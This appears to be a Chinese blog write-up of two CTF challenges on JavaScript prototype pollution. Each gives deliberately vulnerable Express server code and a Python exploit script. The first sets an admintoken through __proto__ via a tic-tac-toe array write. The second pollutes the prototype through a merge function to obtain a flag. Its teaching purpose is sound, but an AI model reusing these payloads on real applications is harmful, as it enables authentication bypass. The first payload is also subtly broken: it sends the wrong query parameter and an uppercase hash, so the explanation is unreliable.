原型链污染例题

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#javascript #前端 #开发语言

博客围绕JavaScript题目展开，第一题重点关注一段代码，通过改变代码使matrix原型链添加属性admintoken=123456，因matrix和user为数组，user原型链也会有该属性；第二题思路是利用merge函数让admin对象原型链添加属性admin=1，并给出了相应payload。

第一题

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    // matrix[__proto__][admintoken] = 123456;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

解析：

重点关注这段代码

matrix[client.row][client.col] = client.data;

可把它变为如下代码，就可成功

matrix[__proto__][admintoken] = 123456;

这段代码表示matrix.__proto__.admintoken=123456，因为matrix和user都是一个数组，matrix的原型链上加上了属性admintoken=123456，那么user的原型链上也就有这个admintoken=123456的属性。

payload：

import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?admintoken=E10ADC3949BA59ABBE56E057F20F883E"
s = requests.session()
headers = {"Content-Type":"application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"123456"}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print(res2.content)

第二题

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 3000;
const HOST = '127.0.0.1';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body)); 
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

解析：

思路：利用merge函数，让admin这个对象的原型链上加上一个属性admin=1.

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

payload：

import requests
import json
url1 = "http://127.0.0.1:3000/signup"
url2 = "http://127.0.0.1:3000/getFlag"
s = requests.session()
headers = {"Content-Type":"application/json"}
data1 = {"__proto__":{"аdmin":1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print(res2.content)